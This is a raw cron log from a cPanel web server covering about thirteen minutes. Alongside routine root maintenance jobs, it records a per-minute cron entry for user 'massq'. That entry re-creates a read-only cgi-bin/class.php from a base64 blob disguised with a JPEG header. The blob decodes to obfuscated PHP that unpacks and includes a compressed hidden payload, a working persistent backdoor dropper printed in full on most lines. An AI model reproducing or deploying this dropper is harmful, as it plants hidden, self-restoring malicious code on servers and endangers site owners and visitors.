Sep 12 20:17:01 server CROND[30169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:17:01 server CROND[30170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:18:01 server CROND[30543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:18:01 server CROND[30544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:18:01 server CROND[30545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:19:01 server CROND[31004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:19:01 server CROND[31005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:19:01 server CROND[31006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:20:01 server CROND[31475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:20:01 server CROND[31476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:20:01 server CROND[31478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:20:01 server CROND[31482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 20:20:01 server CROND[31483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:20:01 server CROND[31488]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 20:20:01 server CROND[31486]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:20:01 server CROND[31491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:20:01 server CROND[31489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:21:01 server CROND[32339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:21:01 server CROND[32340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:21:01 server CROND[32341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:22:01 server CROND[32707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:22:01 server CROND[32708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:22:01 server CROND[32709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:23:01 server CROND[768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:23:01 server CROND[769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:23:01 server CROND[770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:24:01 server CROND[1330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:24:01 server CROND[1331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:24:01 server CROND[1332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:25:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 20:25:01 server CROND[1725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 20:25:01 server CROND[1730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:25:01 server CROND[1732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:25:01 server CROND[1728]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 20:25:01 server CROND[1731]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 20:25:01 server CROND[1729]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 20:25:01 server CROND[1727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:26:01 server CROND[2605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:26:01 server CROND[2606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:26:01 server CROND[2607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:27:01 server CROND[3005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:27:01 server CROND[3006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:27:01 server CROND[3007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:27:01 server CROND[3008]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 20:28:01 server CROND[3383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:28:01 server CROND[3384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:28:01 server CROND[3385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:29:01 server CROND[3851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 20:29:01 server CROND[3852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 20:29:01 server CROND[3853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 20:30:01 server CROND[4228]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
